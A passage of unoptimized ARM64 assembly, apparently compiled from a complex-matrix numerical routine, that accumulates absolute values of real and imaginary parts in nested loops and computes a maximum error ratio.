ldr d0, [x8, x9]
stur d0, [x29, #-224]
ldur d0, [x29, #-224]
fcmp d0, #0.0
cset w8, lt
tbnz w8, #0, LBB0_159
b LBB0_158
LBB0_158: ; in Loop: Header=BB0_150 Depth=3
ldur d0, [x29, #-224]
str d0, [sp, #384] ; 8-byte Folded Spill
b LBB0_160
LBB0_159: ; in Loop: Header=BB0_150 Depth=3
ldur d0, [x29, #-224]
fneg d0, d0
str d0, [sp, #384] ; 8-byte Folded Spill
b LBB0_160
LBB0_160: ; in Loop: Header=BB0_150 Depth=3
ldr d0, [sp, #384] ; 8-byte Folded Reload
str d0, [sp, #376] ; 8-byte Folded Spill
ldur x8, [x29, #-112]
ldr w9, [sp, #764]
ldr w10, [sp, #760]
ldur w11, [x29, #-172]
mul w10, w10, w11
add w9, w9, w10
add x0, x8, w9, sxtw #4
bl _Cd
stur d1, [x29, #-232]
ldur d0, [x29, #-232]
fcmp d0, #0.0
cset w8, lt
tbnz w8, #0, LBB0_162
b LBB0_161
LBB0_161: ; in Loop: Header=BB0_150 Depth=3
ldur d0, [x29, #-232]
str d0, [sp, #368] ; 8-byte Folded Spill
b LBB0_163
LBB0_162: ; in Loop: Header=BB0_150 Depth=3
ldur d0, [x29, #-232]
fneg d0, d0
str d0, [sp, #368] ; 8-byte Folded Spill
b LBB0_163
LBB0_163: ; in Loop: Header=BB0_150 Depth=3
ldr d0, [sp, #392] ; 8-byte Folded Reload
ldr d1, [sp, #376] ; 8-byte Folded Reload
ldr d2, [sp, #368] ; 8-byte Folded Reload
fadd d1, d1, d2
ldr d2, [sp, #744]
fmadd d0, d0, d1, d2
str d0, [sp, #744]
b LBB0_164
LBB0_164: ; in Loop: Header=BB0_150 Depth=3
ldr w8, [sp, #764]
add w8, w8, #1
str w8, [sp, #764]
b LBB0_150
LBB0_165: ; in Loop: Header=BB0_148 Depth=2
ldr d1, [sp, #744]
ldur x8, [x29, #-152]
ldrsw x9, [sp, #756]
add x8, x8, x9, lsl #3
ldr d0, [x8]
fadd d0, d0, d1
str d0, [x8]
ldr w9, [sp, #756]
ldr w8, [sp, #736]
add w8, w8, w9
str w8, [sp, #736]
b LBB0_166
LBB0_166: ; in Loop: Header=BB0_148 Depth=2
ldr w8, [sp, #756]
add w8, w8, #1
str w8, [sp, #756]
b LBB0_148
LBB0_167: ; in Loop: Header=BB0_43 Depth=1
b LBB0_195
LBB0_168: ; in Loop: Header=BB0_43 Depth=1
ldur x8, [x29, #-72]
ldr w8, [x8]
stur w8, [x29, #-184]
mov w8, #1
str w8, [sp, #756]
b LBB0_169
LBB0_169: ; Parent Loop BB0_43 Depth=1
; => This Loop Header: Depth=2
; Child Loop BB0_177 Depth 3
ldr w8, [sp, #756]
ldur w9, [x29, #-184]
subs w8, w8, w9
cset w8, gt
tbnz w8, #0, LBB0_194
b LBB0_170
LBB0_170: ; in Loop: Header=BB0_169 Depth=2
ldr w8, [sp, #756]
ldr w9, [sp, #760]
ldur w10, [x29, #-172]
mul w9, w9, w10
add w8, w8, w9
stur w8, [x29, #-188]
ldur x8, [x29, #-112]
ldursw x9, [x29, #-188]
lsl x9, x9, #4
ldr d0, [x8, x9]
stur d0, [x29, #-208]
ldur d0, [x29, #-208]
fcmp d0, #0.0
cset w8, lt
tbnz w8, #0, LBB0_172
b LBB0_171
LBB0_171: ; in Loop: Header=BB0_169 Depth=2
ldur d0, [x29, #-208]
str d0, [sp, #360] ; 8-byte Folded Spill
b LBB0_173
LBB0_172: ; in Loop: Header=BB0_169 Depth=2
ldur d0, [x29, #-208]
fneg d0, d0
str d0, [sp, #360] ; 8-byte Folded Spill
b LBB0_173
LBB0_173: ; in Loop: Header=BB0_169 Depth=2
ldr d0, [sp, #360] ; 8-byte Folded Reload
str d0, [sp, #352] ; 8-byte Folded Spill
ldur x8, [x29, #-112]
ldr w9, [sp, #756]
ldr w10, [sp, #760]
ldur w11, [x29, #-172]
mul w10, w10, w11
add w9, w9, w10
add x0, x8, w9, sxtw #4
bl _Cd
stur d1, [x29, #-216]
ldur d0, [x29, #-216]
fcmp d0, #0.0
cset w8, lt
tbnz w8, #0, LBB0_175
b LBB0_174
LBB0_174: ; in Loop: Header=BB0_169 Depth=2
ldur d0, [x29, #-216]
str d0, [sp, #344] ; 8-byte Folded Spill
b LBB0_176
LBB0_175: ; in Loop: Header=BB0_169 Depth=2
ldur d0, [x29, #-216]
fneg d0, d0
str d0, [sp, #344] ; 8-byte Folded Spill
b LBB0_176
LBB0_176: ; in Loop: Header=BB0_169 Depth=2
ldr d0, [sp, #352] ; 8-byte Folded Reload
ldr d1, [sp, #344] ; 8-byte Folded Reload
fadd d0, d0, d1
str d0, [sp, #744]
ldr w9, [sp, #756]
mov w8, #1
subs w9, w9, #1
stur w9, [x29, #-188]
str w8, [sp, #764]
b LBB0_177
LBB0_177: ; Parent Loop BB0_43 Depth=1
; Parent Loop BB0_169 Depth=2
; => This Inner Loop Header: Depth=3
ldr w8, [sp, #764]
ldur w9, [x29, #-188]
subs w8, w8, w9
cset w8, gt
tbnz w8, #0, LBB0_192
b LBB0_178
LBB0_178: ; in Loop: Header=BB0_177 Depth=3
ldr w8, [sp, #736]
ldr w9, [sp, #764]
add w8, w8, w9
subs w8, w8, #1
stur w8, [x29, #-192]
ldr w8, [sp, #764]
ldr w9, [sp, #760]
ldur w10, [x29, #-172]
mul w9, w9, w10
add w8, w8, w9
stur w8, [x29, #-196]
ldur x8, [x29, #-88]
ldursw x9, [x29, #-192]
lsl x9, x9, #4
ldr d0, [x8, x9]
stur d0, [x29, #-208]
ldur d0, [x29, #-208]
fcmp d0, #0.0
cset w8, lt
tbnz w8, #0, LBB0_180
b LBB0_179
LBB0_179: ; in Loop: Header=BB0_177 Depth=3
ldur d0, [x29, #-208]
str d0, [sp, #336] ; 8-byte Folded Spill
b LBB0_181
LBB0_180: ; in Loop: Header=BB0_177 Depth=3
ldur d0, [x29, #-208]
fneg d0, d0
str d0, [sp, #336] ; 8-byte Folded Spill
b LBB0_181
LBB0_181: ; in Loop: Header=BB0_177 Depth=3
ldr d0, [sp, #336] ; 8-byte Folded Reload
str d0, [sp, #328] ; 8-byte Folded Spill
ldur x8, [x29, #-88]
ldr w9, [sp, #736]
ldr w10, [sp, #764]
add w9, w9, w10
subs w9, w9, #1
add x0, x8, w9, sxtw #4
bl _Cd
stur d1, [x29, #-216]
ldur d0, [x29, #-216]
fcmp d0, #0.0
cset w8, lt
tbnz w8, #0, LBB0_183
b LBB0_182
LBB0_182: ; in Loop: Header=BB0_177 Depth=3
ldur d0, [x29, #-216]
str d0, [sp, #320] ; 8-byte Folded Spill
b LBB0_184
LBB0_183: ; in Loop: Header=BB0_177 Depth=3
ldur d0, [x29, #-216]
fneg d0, d0
str d0, [sp, #320] ; 8-byte Folded Spill
b LBB0_184
LBB0_184: ; in Loop: Header=BB0_177 Depth=3
ldr d0, [sp, #328] ; 8-byte Folded Reload
ldr d1, [sp, #320] ; 8-byte Folded Reload
fadd d0, d0, d1
str d0, [sp, #312] ; 8-byte Folded Spill
ldur x8, [x29, #-112]
ldursw x9, [x29, #-196]
lsl x9, x9, #4
ldr d0, [x8, x9]
stur d0, [x29, #-224]
ldur d0, [x29, #-224]
fcmp d0, #0.0
cset w8, lt
tbnz w8, #0, LBB0_186
b LBB0_185
LBB0_185: ; in Loop: Header=BB0_177 Depth=3
ldur d0, [x29, #-224]
str d0, [sp, #304] ; 8-byte Folded Spill
b LBB0_187
LBB0_186: ; in Loop: Header=BB0_177 Depth=3
ldur d0, [x29, #-224]
fneg d0, d0
str d0, [sp, #304] ; 8-byte Folded Spill
b LBB0_187
LBB0_187: ; in Loop: Header=BB0_177 Depth=3
ldr d0, [sp, #304] ; 8-byte Folded Reload
str d0, [sp, #296] ; 8-byte Folded Spill
ldur x8, [x29, #-112]
ldr w9, [sp, #764]
ldr w10, [sp, #760]
ldur w11, [x29, #-172]
mul w10, w10, w11
add w9, w9, w10
add x0, x8, w9, sxtw #4
bl _Cd
stur d1, [x29, #-232]
ldur d0, [x29, #-232]
fcmp d0, #0.0
cset w8, lt
tbnz w8, #0, LBB0_189
b LBB0_188
LBB0_188: ; in Loop: Header=BB0_177 Depth=3
ldur d0, [x29, #-232]
str d0, [sp, #288] ; 8-byte Folded Spill
b LBB0_190
LBB0_189: ; in Loop: Header=BB0_177 Depth=3
ldur d0, [x29, #-232]
fneg d0, d0
str d0, [sp, #288] ; 8-byte Folded Spill
b LBB0_190
LBB0_190: ; in Loop: Header=BB0_177 Depth=3
ldr d0, [sp, #312] ; 8-byte Folded Reload
ldr d1, [sp, #296] ; 8-byte Folded Reload
ldr d2, [sp, #288] ; 8-byte Folded Reload
fadd d1, d1, d2
ldr d2, [sp, #744]
fmadd d0, d0, d1, d2
str d0, [sp, #744]
b LBB0_191
LBB0_191: ; in Loop: Header=BB0_177 Depth=3
ldr w8, [sp, #764]
add w8, w8, #1
str w8, [sp, #764]
b LBB0_177
LBB0_192: ; in Loop: Header=BB0_169 Depth=2
ldr d1, [sp, #744]
ldur x8, [x29, #-152]
ldrsw x9, [sp, #756]
add x8, x8, x9, lsl #3
ldr d0, [x8]
fadd d0, d0, d1
str d0, [x8]
ldr w9, [sp, #756]
ldr w8, [sp, #736]
add w8, w8, w9
str w8, [sp, #736]
b LBB0_193
LBB0_193: ; in Loop: Header=BB0_169 Depth=2
ldr w8, [sp, #756]
add w8, w8, #1
str w8, [sp, #756]
b LBB0_169
LBB0_194: ; in Loop: Header=BB0_43 Depth=1
b LBB0_195
LBB0_195: ; in Loop: Header=BB0_43 Depth=1
b LBB0_246
LBB0_196: ; in Loop: Header=BB0_43 Depth=1
mov w8, #1
str w8, [sp, #736]
ldr w8, [sp, #700]
subs w8, w8, #0
cset w8, eq
tbnz w8, #0, LBB0_218
b LBB0_197
LBB0_197: ; in Loop: Header=BB0_43 Depth=1
ldur x8, [x29, #-72]
ldr w8, [x8]
stur w8, [x29, #-184]
mov w8, #1
str w8, [sp, #756]
b LBB0_198
LBB0_198: ; Parent Loop BB0_43 Depth=1
; => This Loop Header: Depth=2
; Child Loop BB0_200 Depth 3
ldr w8, [sp, #756]
ldur w9, [x29, #-184]
subs w8, w8, w9
cset w8, gt
tbnz w8, #0, LBB0_217
b LBB0_199
LBB0_199: ; in Loop: Header=BB0_198 Depth=2
movi d0, #0000000000000000
str d0, [sp, #744]
ldur x8, [x29, #-72]
ldr w8, [x8]
stur w8, [x29, #-188]
ldr w8, [sp, #756]
str w8, [sp, #764]
b LBB0_200
LBB0_200: ; Parent Loop BB0_43 Depth=1
; Parent Loop BB0_198 Depth=2
; => This Inner Loop Header: Depth=3
ldr w8, [sp, #764]
ldur w9, [x29, #-188]
subs w8, w8, w9
cset w8, gt
tbnz w8, #0, LBB0_215
b LBB0_201
LBB0_201: ; in Loop: Header=BB0_200 Depth=3
ldr w8, [sp, #736]
ldr w9, [sp, #764]
add w8, w8, w9
ldr w9, [sp, #756]
subs w8, w8, w9
stur w8, [x29, #-192]
ldr w8, [sp, #764]
ldr w9, [sp, #760]
ldur w10, [x29, #-172]
mul w9, w9, w10
add w8, w8, w9
stur w8, [x29, #-196]
ldur x8, [x29, #-88]
ldursw x9, [x29, #-192]
lsl x9, x9, #4
ldr d0, [x8, x9]
stur d0, [x29, #-208]
ldur d0, [x29, #-208]
fcmp d0, #0.0
cset w8, lt
tbnz w8, #0, LBB0_203
b LBB0_202
LBB0_202: ; in Loop: Header=BB0_200 Depth=3
ldur d0, [x29, #-208]
str d0, [sp, #280] ; 8-byte Folded Spill
b LBB0_204
LBB0_203: ; in Loop: Header=BB0_200 Depth=3
ldur d0, [x29, #-208]
fneg d0, d0
str d0, [sp, #280] ; 8-byte Folded Spill
b LBB0_204
LBB0_204: ; in Loop: Header=BB0_200 Depth=3
ldr d0, [sp, #280] ; 8-byte Folded Reload
str d0, [sp, #272] ; 8-byte Folded Spill
ldur x8, [x29, #-88]
ldr w9, [sp, #736]
ldr w10, [sp, #764]
add w9, w9, w10
ldr w10, [sp, #756]
subs w9, w9, w10
add x0, x8, w9, sxtw #4
bl _Cd
stur d1, [x29, #-216]
ldur d0, [x29, #-216]
fcmp d0, #0.0
cset w8, lt
tbnz w8, #0, LBB0_206
b LBB0_205
LBB0_205: ; in Loop: Header=BB0_200 Depth=3
ldur d0, [x29, #-216]
str d0, [sp, #264] ; 8-byte Folded Spill
b LBB0_207
LBB0_206: ; in Loop: Header=BB0_200 Depth=3
ldur d0, [x29, #-216]
fneg d0, d0
str d0, [sp, #264] ; 8-byte Folded Spill
b LBB0_207
LBB0_207: ; in Loop: Header=BB0_200 Depth=3
ldr d0, [sp, #272] ; 8-byte Folded Reload
ldr d1, [sp, #264] ; 8-byte Folded Reload
fadd d0, d0, d1
str d0, [sp, #256] ; 8-byte Folded Spill
ldur x8, [x29, #-112]
ldursw x9, [x29, #-196]
lsl x9, x9, #4
ldr d0, [x8, x9]
stur d0, [x29, #-224]
ldur d0, [x29, #-224]
fcmp d0, #0.0
cset w8, lt
tbnz w8, #0, LBB0_209
b LBB0_208
LBB0_208: ; in Loop: Header=BB0_200 Depth=3
ldur d0, [x29, #-224]
str d0, [sp, #248] ; 8-byte Folded Spill
b LBB0_210
LBB0_209: ; in Loop: Header=BB0_200 Depth=3
ldur d0, [x29, #-224]
fneg d0, d0
str d0, [sp, #248] ; 8-byte Folded Spill
b LBB0_210
LBB0_210: ; in Loop: Header=BB0_200 Depth=3
ldr d0, [sp, #248] ; 8-byte Folded Reload
str d0, [sp, #240] ; 8-byte Folded Spill
ldur x8, [x29, #-112]
ldr w9, [sp, #764]
ldr w10, [sp, #760]
ldur w11, [x29, #-172]
mul w10, w10, w11
add w9, w9, w10
add x0, x8, w9, sxtw #4
bl _Cd
stur d1, [x29, #-232]
ldur d0, [x29, #-232]
fcmp d0, #0.0
cset w8, lt
tbnz w8, #0, LBB0_212
b LBB0_211
LBB0_211: ; in Loop: Header=BB0_200 Depth=3
ldur d0, [x29, #-232]
str d0, [sp, #232] ; 8-byte Folded Spill
b LBB0_213
LBB0_212: ; in Loop: Header=BB0_200 Depth=3
ldur d0, [x29, #-232]
fneg d0, d0
str d0, [sp, #232] ; 8-byte Folded Spill
b LBB0_213
LBB0_213: ; in Loop: Header=BB0_200 Depth=3
ldr d0, [sp, #256] ; 8-byte Folded Reload
ldr d1, [sp, #240] ; 8-byte Folded Reload
ldr d2, [sp, #232] ; 8-byte Folded Reload
fadd d1, d1, d2
ldr d2, [sp, #744]
fmadd d0, d0, d1, d2
str d0, [sp, #744]
b LBB0_214
LBB0_214: ; in Loop: Header=BB0_200 Depth=3
ldr w8, [sp, #764]
add w8, w8, #1
str w8, [sp, #764]
b LBB0_200
LBB0_215: ; in Loop: Header=BB0_198 Depth=2
ldr d1, [sp, #744]
ldur x8, [x29, #-152]
ldrsw x9, [sp, #756]
add x8, x8, x9, lsl #3
ldr d0, [x8]
fadd d0, d0, d1
str d0, [x8]
ldr w8, [sp, #736]
ldur x9, [x29, #-72]
ldr w9, [x9]
add w8, w8, w9
ldr w9, [sp, #756]
subs w8, w8, w9
add w8, w8, #1
str w8, [sp, #736]
b LBB0_216
LBB0_216: ; in Loop: Header=BB0_198 Depth=2
ldr w8, [sp, #756]
add w8, w8, #1
str w8, [sp, #756]
b LBB0_198
LBB0_217: ; in Loop: Header=BB0_43 Depth=1
b LBB0_245
LBB0_218: ; in Loop: Header=BB0_43 Depth=1
ldur x8, [x29, #-72]
ldr w8, [x8]
stur w8, [x29, #-184]
mov w8, #1
str w8, [sp, #756]
b LBB0_219
LBB0_219: ; Parent Loop BB0_43 Depth=1
; => This Loop Header: Depth=2
; Child Loop BB0_227 Depth 3
ldr w8, [sp, #756]
ldur w9, [x29, #-184]
subs w8, w8, w9
cset w8, gt
tbnz w8, #0, LBB0_244
b LBB0_220
LBB0_220: ; in Loop: Header=BB0_219 Depth=2
ldr w8, [sp, #756]
ldr w9, [sp, #760]
ldur w10, [x29, #-172]
mul w9, w9, w10
add w8, w8, w9
stur w8, [x29, #-188]
ldur x8, [x29, #-112]
ldursw x9, [x29, #-188]
lsl x9, x9, #4
ldr d0, [x8, x9]
stur d0, [x29, #-208]
ldur d0, [x29, #-208]
fcmp d0, #0.0
cset w8, lt
tbnz w8, #0, LBB0_222
b LBB0_221
LBB0_221: ; in Loop: Header=BB0_219 Depth=2
ldur d0, [x29, #-208]
str d0, [sp, #224] ; 8-byte Folded Spill
b LBB0_223
LBB0_222: ; in Loop: Header=BB0_219 Depth=2
ldur d0, [x29, #-208]
fneg d0, d0
str d0, [sp, #224] ; 8-byte Folded Spill
b LBB0_223
LBB0_223: ; in Loop: Header=BB0_219 Depth=2
ldr d0, [sp, #224] ; 8-byte Folded Reload
str d0, [sp, #216] ; 8-byte Folded Spill
ldur x8, [x29, #-112]
ldr w9, [sp, #756]
ldr w10, [sp, #760]
ldur w11, [x29, #-172]
mul w10, w10, w11
add w9, w9, w10
add x0, x8, w9, sxtw #4
bl _Cd
stur d1, [x29, #-216]
ldur d0, [x29, #-216]
fcmp d0, #0.0
cset w8, lt
tbnz w8, #0, LBB0_225
b LBB0_224
LBB0_224: ; in Loop: Header=BB0_219 Depth=2
ldur d0, [x29, #-216]
str d0, [sp, #208] ; 8-byte Folded Spill
b LBB0_226
LBB0_225: ; in Loop: Header=BB0_219 Depth=2
ldur d0, [x29, #-216]
fneg d0, d0
str d0, [sp, #208] ; 8-byte Folded Spill
b LBB0_226
LBB0_226: ; in Loop: Header=BB0_219 Depth=2
ldr d0, [sp, #216] ; 8-byte Folded Reload
ldr d1, [sp, #208] ; 8-byte Folded Reload
fadd d0, d0, d1
str d0, [sp, #744]
ldur x8, [x29, #-72]
ldr w8, [x8]
stur w8, [x29, #-188]
ldr w8, [sp, #756]
add w8, w8, #1
str w8, [sp, #764]
b LBB0_227
LBB0_227: ; Parent Loop BB0_43 Depth=1
; Parent Loop BB0_219 Depth=2
; => This Inner Loop Header: Depth=3
ldr w8, [sp, #764]
ldur w9, [x29, #-188]
subs w8, w8, w9
cset w8, gt
tbnz w8, #0, LBB0_242
b LBB0_228
LBB0_228: ; in Loop: Header=BB0_227 Depth=3
ldr w8, [sp, #736]
ldr w9, [sp, #764]
add w8, w8, w9
ldr w9, [sp, #756]
subs w8, w8, w9
stur w8, [x29, #-192]
ldr w8, [sp, #764]
ldr w9, [sp, #760]
ldur w10, [x29, #-172]
mul w9, w9, w10
add w8, w8, w9
stur w8, [x29, #-196]
ldur x8, [x29, #-88]
ldursw x9, [x29, #-192]
lsl x9, x9, #4
ldr d0, [x8, x9]
stur d0, [x29, #-208]
ldur d0, [x29, #-208]
fcmp d0, #0.0
cset w8, lt
tbnz w8, #0, LBB0_230
b LBB0_229
LBB0_229: ; in Loop: Header=BB0_227 Depth=3
ldur d0, [x29, #-208]
str d0, [sp, #200] ; 8-byte Folded Spill
b LBB0_231
LBB0_230: ; in Loop: Header=BB0_227 Depth=3
ldur d0, [x29, #-208]
fneg d0, d0
str d0, [sp, #200] ; 8-byte Folded Spill
b LBB0_231
LBB0_231: ; in Loop: Header=BB0_227 Depth=3
ldr d0, [sp, #200] ; 8-byte Folded Reload
str d0, [sp, #192] ; 8-byte Folded Spill
ldur x8, [x29, #-88]
ldr w9, [sp, #736]
ldr w10, [sp, #764]
add w9, w9, w10
ldr w10, [sp, #756]
subs w9, w9, w10
add x0, x8, w9, sxtw #4
bl _Cd
stur d1, [x29, #-216]
ldur d0, [x29, #-216]
fcmp d0, #0.0
cset w8, lt
tbnz w8, #0, LBB0_233
b LBB0_232
LBB0_232: ; in Loop: Header=BB0_227 Depth=3
ldur d0, [x29, #-216]
str d0, [sp, #184] ; 8-byte Folded Spill
b LBB0_234
LBB0_233: ; in Loop: Header=BB0_227 Depth=3
ldur d0, [x29, #-216]
fneg d0, d0
str d0, [sp, #184] ; 8-byte Folded Spill
b LBB0_234
LBB0_234: ; in Loop: Header=BB0_227 Depth=3
ldr d0, [sp, #192] ; 8-byte Folded Reload
ldr d1, [sp, #184] ; 8-byte Folded Reload
fadd d0, d0, d1
str d0, [sp, #176] ; 8-byte Folded Spill
ldur x8, [x29, #-112]
ldursw x9, [x29, #-196]
lsl x9, x9, #4
ldr d0, [x8, x9]
stur d0, [x29, #-224]
ldur d0, [x29, #-224]
fcmp d0, #0.0
cset w8, lt
tbnz w8, #0, LBB0_236
b LBB0_235
LBB0_235: ; in Loop: Header=BB0_227 Depth=3
ldur d0, [x29, #-224]
str d0, [sp, #168] ; 8-byte Folded Spill
b LBB0_237
LBB0_236: ; in Loop: Header=BB0_227 Depth=3
ldur d0, [x29, #-224]
fneg d0, d0
str d0, [sp, #168] ; 8-byte Folded Spill
b LBB0_237
LBB0_237: ; in Loop: Header=BB0_227 Depth=3
ldr d0, [sp, #168] ; 8-byte Folded Reload
str d0, [sp, #160] ; 8-byte Folded Spill
ldur x8, [x29, #-112]
ldr w9, [sp, #764]
ldr w10, [sp, #760]
ldur w11, [x29, #-172]
mul w10, w10, w11
add w9, w9, w10
add x0, x8, w9, sxtw #4
bl _Cd
stur d1, [x29, #-232]
ldur d0, [x29, #-232]
fcmp d0, #0.0
cset w8, lt
tbnz w8, #0, LBB0_239
b LBB0_238
LBB0_238: ; in Loop: Header=BB0_227 Depth=3
ldur d0, [x29, #-232]
str d0, [sp, #152] ; 8-byte Folded Spill
b LBB0_240
LBB0_239: ; in Loop: Header=BB0_227 Depth=3
ldur d0, [x29, #-232]
fneg d0, d0
str d0, [sp, #152] ; 8-byte Folded Spill
b LBB0_240
LBB0_240: ; in Loop: Header=BB0_227 Depth=3
ldr d0, [sp, #176] ; 8-byte Folded Reload
ldr d1, [sp, #160] ; 8-byte Folded Reload
ldr d2, [sp, #152] ; 8-byte Folded Reload
fadd d1, d1, d2
ldr d2, [sp, #744]
fmadd d0, d0, d1, d2
str d0, [sp, #744]
b LBB0_241
LBB0_241: ; in Loop: Header=BB0_227 Depth=3
ldr w8, [sp, #764]
add w8, w8, #1
str w8, [sp, #764]
b LBB0_227
LBB0_242: ; in Loop: Header=BB0_219 Depth=2
ldr d1, [sp, #744]
ldur x8, [x29, #-152]
ldrsw x9, [sp, #756]
add x8, x8, x9, lsl #3
ldr d0, [x8]
fadd d0, d0, d1
str d0, [x8]
ldr w8, [sp, #736]
ldur x9, [x29, #-72]
ldr w9, [x9]
add w8, w8, w9
ldr w9, [sp, #756]
subs w8, w8, w9
add w8, w8, #1
str w8, [sp, #736]
b LBB0_243
LBB0_243: ; in Loop: Header=BB0_219 Depth=2
ldr w8, [sp, #756]
add w8, w8, #1
str w8, [sp, #756]
b LBB0_219
LBB0_244: ; in Loop: Header=BB0_43 Depth=1
b LBB0_245
LBB0_245: ; in Loop: Header=BB0_43 Depth=1
b LBB0_246
LBB0_246: ; in Loop: Header=BB0_43 Depth=1
b LBB0_247
LBB0_247: ; in Loop: Header=BB0_43 Depth=1
movi d0, #0000000000000000
str d0, [sp, #744]
ldur x8, [x29, #-72]
ldr w8, [x8]
stur w8, [x29, #-184]
mov w8, #1
str w8, [sp, #764]
b LBB0_248
LBB0_248: ; Parent Loop BB0_43 Depth=1
; => This Inner Loop Header: Depth=2
ldr w8, [sp, #764]
ldur w9, [x29, #-184]
subs w8, w8, w9
cset w8, gt
tbnz w8, #0, LBB0_272
b LBB0_249
LBB0_249: ; in Loop: Header=BB0_248 Depth=2
ldur x8, [x29, #-152]
ldrsw x9, [sp, #764]
ldr d0, [x8, x9, lsl #3]
ldr d1, [sp, #768]
fcmp d0, d1
cset w8, le
tbnz w8, #0, LBB0_260
b LBB0_250
LBB0_250: ; in Loop: Header=BB0_248 Depth=2
ldr w8, [sp, #764]
stur w8, [x29, #-188]
ldr d0, [sp, #744]
stur d0, [x29, #-224]
ldur x8, [x29, #-144]
ldursw x9, [x29, #-188]
lsl x9, x9, #4
ldr d0, [x8, x9]
stur d0, [x29, #-208]
ldur d0, [x29, #-208]
fcmp d0, #0.0
cset w8, lt
tbnz w8, #0, LBB0_252
b LBB0_251
LBB0_251: ; in Loop: Header=BB0_248 Depth=2
ldur d0, [x29, #-208]
str d0, [sp, #144] ; 8-byte Folded Spill
b LBB0_253
LBB0_252: ; in Loop: Header=BB0_248 Depth=2
ldur d0, [x29, #-208]
fneg d0, d0
str d0, [sp, #144] ; 8-byte Folded Spill
b LBB0_253
LBB0_253: ; in Loop: Header=BB0_248 Depth=2
ldr d0, [sp, #144] ; 8-byte Folded Reload
str d0, [sp, #136] ; 8-byte Folded Spill
ldur x8, [x29, #-144]
ldrsw x9, [sp, #764]
add x0, x8, x9, lsl #4
bl _Cd
stur d1, [x29, #-216]
ldur d0, [x29, #-216]
fcmp d0, #0.0
cset w8, lt
tbnz w8, #0, LBB0_255
b LBB0_254
LBB0_254: ; in Loop: Header=BB0_248 Depth=2
ldur d0, [x29, #-216]
str d0, [sp, #128] ; 8-byte Folded Spill
b LBB0_256
LBB0_255: ; in Loop: Header=BB0_248 Depth=2
ldur d0, [x29, #-216]
fneg d0, d0
str d0, [sp, #128] ; 8-byte Folded Spill
b LBB0_256
LBB0_256: ; in Loop: Header=BB0_248 Depth=2
ldr d0, [sp, #136] ; 8-byte Folded Reload
ldr d1, [sp, #128] ; 8-byte Folded Reload
fadd d0, d0, d1
ldur x8, [x29, #-152]
ldrsw x9, [sp, #764]
ldr d1, [x8, x9, lsl #3]
fdiv d0, d0, d1
stur d0, [x29, #-232]
ldur d0, [x29, #-224]
ldur d1, [x29, #-232]
fcmp d0, d1
cset w8, lt
tbnz w8, #0, LBB0_258
b LBB0_257
LBB0_257: ; in Loop: Header=BB0_248 Depth=2
ldur d0, [x29, #-224]
str d0, [sp, #120] ; 8-byte Folded Spill
b LBB0_259
LBB0_258: ; in Loop: Header=BB0_248 Depth=2
ldur d0, [x29, #-232]
str d0, [sp, #120] ; 8-byte Folded Spill
b LBB0_259
LBB0_259: ; in Loop: Header=BB0_248 Depth=2
ldr d0, [sp, #120] ; 8-byte Folded Reload
str d0, [sp, #744]
b LBB0_270
LBB0_260: ; in Loop: Header=BB0_248 Depth=2
ldr w8, [sp, #764]
stur w8, [x29, #-188]
ldr d0, [sp, #744]
stur d0, [x29, #-224]
ldur x8, [x29, #-144]
ldursw x9, [x29, #-188]
lsl x9, x9, #4
ldr d0, [x8, x9]
stur d0, [x29, #-208]
ldur d0, [x29, #-208]
fcmp d0, #0.0
cset w8, lt
tbnz w8, #0, LBB0_262
b LBB0_261
LBB0_261: ; in Loop: Header=BB0_248 Depth=2
ldur d0, [x29, #-208]
str d0, [sp, #112] ; 8-byte Folded Spill
b LBB0_263
LBB0_262: ; in Loop: Header=BB0_248 Depth=2
ldur d0, [x29, #-208]
fneg d0, d0
str d0, [sp, #112] ; 8-byte Folded Spill
b LBB0_263
LBB0_263: ; in Loop: Header=BB0_248 Depth=2
ldr d0, [sp, #112] ; 8-byte Folded Reload
str d0, [sp, #104] ; 8-byte Folded Spill
ldur x8, [x29, #-144]
ldrsw x9, [sp, #764]
add x0, x8, x9, lsl #4
bl _Cd
stur d1, [x29, #-216]
ldur d0, [x29, #-216]
fcmp d0, #0.0
cset w8, lt
tbnz w8, #0, LBB0_265
b LBB0_264
LBB0_264: ; in Loop: Header=BB0_248 Depth=2
ldur d0, [x29, #-216]
str d0, [sp, #96] ; 8-byte Folded Spill
b LBB0_266
LBB0_265: ; in Loop: Header=BB0_248 Depth=2
ldur d0, [x29, #-216]
fneg d0, d0
str d0, [sp, #96] ; 8-byte Folded Spill
b LBB0_266
LBB0_266: ; in Loop: Header=BB0_248 Depth=2
ldr d0, [sp, #104] ; 8-byte Folded Reload
ldr d1, [sp, #96] ; 8-byte Folded Reload
fadd d0, d0, d1
ldr d1, [sp, #776]
fadd d0, d0, d1
ldur x8, [x29, #-152]
ldrsw x9, [sp, #764]
ldr d1, [x8, x9, lsl #3]
ldr d2, [sp, #776]
fadd d1, d1, d2
fdiv d0, d0, d1
stur d0, [x29, #-232]
ldur d0, [x29, #-224]
ldur d1, [x29, #-232]
fcmp d0, d1
cset w8, lt
tbnz w8, #0, LBB0_268
b LBB0_267
LBB0_267: ; in Loop: Header=BB0_248 Depth=2
ldur d0, [x29, #-224]
str d0, [sp, #88] ; 8-byte Folded Spill
b LBB0_269
LBB0_268: ; in Loop: Header=BB0_248 Depth=2
ldur d0, [x29, #-232]
str d0, [sp, #88] ; 8-byte Folded Spill
b LBB0_269
LBB0_269: ; in Loop: Header=BB0_248 Depth=2
ldr d0, [sp, #88] ; 8-byte Folded Reload
str d0, [sp, #744]
b LBB0_270
LBB0_270: ; in Loop: Header=BB0_248 Depth=2
b LBB0_271
LBB0_271: ; in Loop: Header=BB0_248 Depth=2
ldr w8, [sp, #764]
add w8, w8, #1
str w8, [sp, #764]
b LBB0_248
LBB0_272: ; in Loop: Header=BB0_43 Depth=1
ldr d0, [sp, #744]
ldur x8, [x29, #-136]
ldrsw x9, [sp, #760]
str d0, [x8, x9, lsl #3]
ldur x8, [x29, #-72]
ldr w8, [x8]
stur w8, [x29, #-184]
mov w8, #1
str w8, [sp, #764]
b LBB0_273
LBB0_273: ; Parent Loop BB0_43 Depth=1
; => This Inner Loop Header: Depth=2
ldr w8, [sp, #764]
ldur w9, [x29, #-184]
subs w8, w8, w9
cset w8, gt
tbnz w8, #0, LBB0_291
b LBB0_274
LBB0_274: ; in Loop: Header=BB0_273 Depth=2
ldur x8, [x29, #-152]
ldrsw x9, [sp, #764]
ldr d0, [x8, x9, lsl #3]
ldr d1, [sp, #768]
fcmp d0, d1
cset w8, le
tbnz w8, #0, LBB0_282
b LBB0_275
LBB0_275: ; in Loop: Header=BB0_273 Depth=2
ldr w8, [sp, #764]
stur w8, [x29, #-188]
